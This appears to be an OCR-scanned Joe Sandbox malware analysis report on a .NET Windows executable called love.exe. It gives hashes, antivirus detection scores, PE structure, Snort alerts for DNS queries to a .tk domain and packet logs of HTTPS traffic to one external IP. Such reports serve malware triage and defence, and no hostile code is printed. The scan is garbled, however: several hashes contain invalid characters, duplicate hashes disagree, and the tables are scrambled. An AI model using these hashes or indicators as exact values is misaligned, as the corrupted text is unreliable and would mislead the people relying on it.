MDS5: F3C4CE7DD49E5728B3DD941EF7E95313

SHA1L: 2C833A4195815F3FDEDDC7996E10B17FC2ABB3ES

SHA-256: 139DA5E39DFF492D6163311FDCBASDAAF916877CC8575E120FFBA9B2BDA65536

SHA-512: 1415797030E82119A92CA478ED1511F6E4F2A35D258 CA86FFC2D4D8C506A3E9521FFAODB09AEN9B72729D747CE3A7408CEF12013855511391D4E6CC6D7782AB!
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 32%

Preview:

(CISSS—— b

RN (=) = T, . H...
.%...+m8n...8s...8t.... &..+2+..40.+0..
...... Le~rpt s Ao A (0

C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe:Zone.Identifier €Y

Process: C:\Users\user\Desktop\love.exe

File Type: ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 26

Entropy (8bit):  3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYVIrPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1L: 6693BA299EC1881249D59262276A0D2CB21F8E6G4

SHA-256: 255A65D30841AB4082BDI9DOEEA79D49C5EEB8F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0OC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCI9CDE1B60FB21CD6-
E

Malicious: true

Preview: [ZoneTransfer]....Zoneld=0

Static File Info

General

File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Entropy (8bit):  5.472164055618424

TriD: e Win32 Executable (generic) Net Framework (10011505/4) 49.83%
e Win32 Executable (generic) a (10002005/4) 49.78%
e Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
e Generic Win/DOS Executable (2004/3) 0.01%
e DOS Executable Generic (2002/1) 0.01%
File name: love.exe
File size: 25600
MD5: f3c4ce7dd49e5728b3dd941ef7€95313
SHA1L: 2¢833a4195815f3fdeddc7996e10b17fc2abb3e8
SHA256: 139da5e39dff492d6163311fdcha5daafd16877cc8575e120ffbadb2bda65536
SHA512: 1415797030e82119a92ca478ed1511f6e4f2a35d258ca86ffc2d4d8c506a3e9521ffa0d809ae09b72729d747ce3a7408cef12013855511391d4e6cc6d7782ab5
SSDEEP: 768:iflViX4lwkvDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDYL:it9YDDDDDDDDDDDDDDDDDDDDDDDDDDDI
TLSH: 10B2968D4F50865FFBB38EFIBIAB92523376ADCA9371EB178488141D582F10708A7D0C
File Content [V1Z20— (@ brorrernrnroror oD I..L.IThis program cannot be run in DOS mode....$....... N [ ) S [SS— — @...@..
Preview: RSP
Filelcon
Icon Hash: 88a28292a8a892c2
Static PE Info
General
Entrypoint: 0x403bla
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Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: EXECUTABLE_IMAGE, 32BIT_MACHINE

DLL Characteristics: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp: 0x62B483C6 [Thu Jun 23 15:16:22 2022 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4
OS Version Minor: 0
File Version Major: 4
File Version Minor: 0
Subsystem Version Major: 4
Subsystem Version Minor: 0
Import Hash: f34d5f2d4577ed6d9ceec516¢c1f5a744

Entrypoint Preview
Instruction

jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories
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Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address Virtual Size Raw Size
text 0x2000 0x1b20 0x1c00
.rsrc 0x4000 0x4204 0x4400
.reloc 0xa000 Ooxc 0x200
Resources

Name RVA
RT_ICON 0x407c
RT_ICON 0x4508
RT_ICON 0x55d4
RT_GROUP_ICON 0x7bb8
RT_VERSION 0x7c24
RT_MANIFEST 0x801a
Imports

DLL

mscoree.dll

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message

192.168.2.38.8.8.8631415 UDP
32012811 06/23/22- 1
18:20:07.034772

192.168.2.38.8.8.8585615 UDP
32012811 06/23/22- 1
18:19:23.404344

Copyright Joe Security LLC 2022

Virtual Address

0x0

0x3ad0

0x4000

0x0

0x0

0xa000

0x0
0x0
0x0
0x0
0x0

0x0

0x2000

0x0

0x2008

0x0

Xored PE

False

False

False

Size
0x468
0x10a8

0x25a8

0x30
0x3ba

Oxlea

ZLIB Complexity

0.5708705357142857

0.2134076286764706

0.044921875

Type

Virtual Size

0x0
Ox4a
0x4204
0x0
0x0
Oxc
0x0
0x0
0x0
0x0
0x0
0x0
0x8
0x0
0x48

0x0

File Type

data

data

data

GLS_BINARY_LSB_FIRST

Isin

.text

.rsrc

Section

.reloc

.text

.text

Entropy

5.631607793611672

5.0009477119603165

0.08153941234324169

Language

dBase IV DBT of @.DBF, block length 4096, next free
block index 40, next free block 938143476, next used

block 938143476

dBase IV DBT of ".DBF, block length 9216, next free
block index 40, next free block 250277620, next used

block 267054836
data

data

XML 1.0 document, UTF-8 Unicode (with BOM) text,

with CRLF line terminators

Import

_CorExeMain

201281 ET DNS Query to a .tk domain - Likely Hostile

201281 ET DNS Query to a .tk domain - Likely Hostile

Dest
Port

Source
Port

63141 53

58561 53

Characteristics

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE

D_DATA,

IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE

D_DATA,

IMAGE_SCN_MEM_DISCARDA

BLE,

IMAGE_SCN_MEM_READ

Country
Source IP Dest IP
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
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Source Dest

Timestamp Protocol SID Message Source IP Dest IP
Port Port

192.168.2.38.8.8.8624765 UDP 201281 ET DNS Query to a .tk domain - Likely Hostile 62476 53 192.168.2.3 8.8.8.8

32012811 06/23/22- 1

18:20:15.219651

Network Port Distribution

Total Packets: 200

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jun 23, 2022 18:19:23.737303019 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:23.737354994 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:23.737469912 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:23.779206038 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:23.779247999 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.291548967 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.291663885 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.296036959 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.296053886 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.296293974 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.500497103 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.500685930 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.623327971 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.664495945 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.789524078 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.789554119 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.789690971 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.789711952 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954544067 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954658985 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.954674959 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954735041 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954749107 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.954782009 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954793930 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.954799891 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954828978 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954838037 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.954853058 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:24.954874992 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:24.954900980 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.119282961 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.119311094 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.119381905 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.119416952 CEST 49747 443 192.168.2.3 162.240.68.177
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Jun 23, 2022 18:19:25.119467020 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.119949102 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.119966984 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120011091 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120031118 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120065928 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120075941 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120081902 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120121002 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120125055 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120145082 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120173931 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120395899 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120412111 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120527029 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120536089 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120668888 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120752096 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.120815039 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.120892048 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.121059895 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.121145964 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.284229994 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.284357071 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.285788059 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.285897017 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.285921097 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.285994053 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286031961 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286107063 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286140919 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286211967 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286248922 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286319017 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286358118 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286422968 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286467075 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286530972 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286571026 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286642075 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286675930 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286751032 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.286772966 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.286844015 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.287094116 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.287166119 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.287189007 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.287275076 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.449274063 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.449430943 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.449785948 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.449820042 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.450540066 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.451406002 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.451682091 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.451749086 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.451770067 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.451792955 CEST 49747 443 192.168.2.3 162.240.68.177
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Jun 23, 2022 18:19:25.451836109 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.452033043 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.452302933 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.452578068 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.452883959 CEST 49747 443 192.168.2.3 162.240.68.177
Jun 23, 2022 18:19:25.452904940 CEST 443 49747 162.240.68.177 192.168.2.3
Jun 23, 2022 18:19:25.453155994 CEST 443 49747 162.240.68.177 192.168.2.3
UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jun 23, 2022 18:19:20.780888081 CEST 57723 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:20.797626972 CEST 53 57723 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:20.813405991 CEST 58116 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:20.832469940 CEST 53 58116 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:20.883912086 CEST 57421 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:20.902971983 CEST 53 57421 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:20.919594049 CEST 65358 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:20.938340902 CEST 53 65358 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:20.969707966 CEST 49873 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:20.988508940 CEST 53 49873 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.006577015 CEST 53802 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.025532007 CEST 53 53802 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.042736053 CEST 65266 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.060363054 CEST 53 65266 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.096869946 CEST 63332 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.115679026 CEST 53 63332 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.138278008 CEST 63548 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.156503916 CEST 53 63548 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.192960024 CEST 49327 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.211946964 CEST 53 49327 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.232835054 CEST 51391 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.249653101 CEST 53 51391 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.272372007 CEST 58981 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.289273977 CEST 53 58981 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.316826105 CEST 64452 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.335673094 CEST 53 64452 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.363579988 CEST 61380 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.382451057 CEST 53 61380 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.413724899 CEST 63146 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.431726933 CEST 53 63146 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.456563950 CEST 52985 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.476514101 CEST 53 52985 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.501168013 CEST 58625 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.520122051 CEST 53 58625 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.544641018 CEST 52810 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.563476086 CEST 53 52810 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.611284018 CEST 50778 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.630345106 CEST 53 50778 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.652359009 CEST 55151 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.669164896 CEST 53 55151 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.691082954 CEST 59795 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.710177898 CEST 53 59795 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.740415096 CEST 59390 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.757987022 CEST 53 59390 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.780792952 CEST 64816 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.800026894 CEST 53 64816 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.833345890 CEST 64996 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:19:21.852292061 CEST 53 64996 8.8.8.8 192.168.2.3
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Jun 23, 2022 18:19:21.873550892 CEST 53816 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:21.895379066 CEST 53 53816 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.917335033 CEST 52096 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:21.937206030 CEST 53 52096 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:21.960781097 CEST 60640 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:21.980458975 CEST 53 60640 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.017698050 CEST 49844 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.037228107 CEST 53 49844 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.070664883 CEST 63861 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.087542057 CEST 53 63861 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.109083891 CEST 51518 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.127902031 CEST 53 51518 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.163299084 CEST 49723 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.182828903 CEST 53 49723 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.204044104 CEST 52581 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.223037958 CEST 53 52581 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.245461941 CEST 50152 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.262887955 CEST 53 50152 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.292440891 CEST 56639 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.309335947 CEST 53 56639 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.330513000 CEST 50450 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.349261045 CEST 53 50450 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.401386023 CEST 52427 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.420232058 CEST 53 52427 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.441947937 CEST 62724 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.461386919 CEST 53 62724 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.482568979 CEST 64941 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.499622107 CEST 53 64941 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.524952888 CEST 55403 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.544161081 CEST 53 55403 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.647439003 CEST 54960 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.666243076 CEST 53 54960 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.687741041 CEST 61877 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.706748009 CEST 53 61877 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.746170044 CEST 64624 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.763180017 CEST 53 64624 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.785033941 CEST 64412 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.801764011 CEST 53 64412 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.840729952 CEST 51779 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.859736919 CEST 53 51779 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.881638050 CEST 50608 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.900549889 CEST 53 50608 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:22.954535007 CEST 54205 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:22.971326113 CEST 53 54205 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:23.007282972 CEST 62756 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:23.024127960 CEST 53 62756 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:23.056612968 CEST 58497 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:23.075550079 CEST 53 58497 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:23.098038912 CEST 62701 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:23.117011070 CEST 53 62701 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:23.138271093 CEST 53524 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:23.157777071 CEST 53 53524 8.8.8.8 192.168.2.3
Jun 23, 2022 18:19:23.404344082 CEST 58561 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:19:23.721862078 CEST 53 58561 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:03.800705910 CEST 65334 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:03.820017099 CEST 53 65334 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:03.838795900 CEST 52487 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:03.857639074 CEST 53 52487 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:03.931804895 CEST 51994 53 192.168.2.3 8.8.8.8
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Jun 23, 2022 18:20:03.951720953 CEST 53 51994 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:03.972372055 CEST 51658 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:03.991163015 CEST 53 51658 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.019206047 CEST 58950 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.037193060 CEST 53 58950 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.106179953 CEST 53883 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.126363993 CEST 53 53883 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.154501915 CEST 59065 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.173456907 CEST 53 59065 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.196732044 CEST 55686 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.215987921 CEST 53 55686 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.245841026 CEST 64589 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.264659882 CEST 53 64589 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.287924051 CEST 64934 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.306931019 CEST 53 64934 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.344188929 CEST 55795 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.361110926 CEST 53 55795 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.391912937 CEST 64635 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.408895969 CEST 53 64635 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.458293915 CEST 55269 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.477276087 CEST 53 55269 8.8.8.8 192.168.2.3
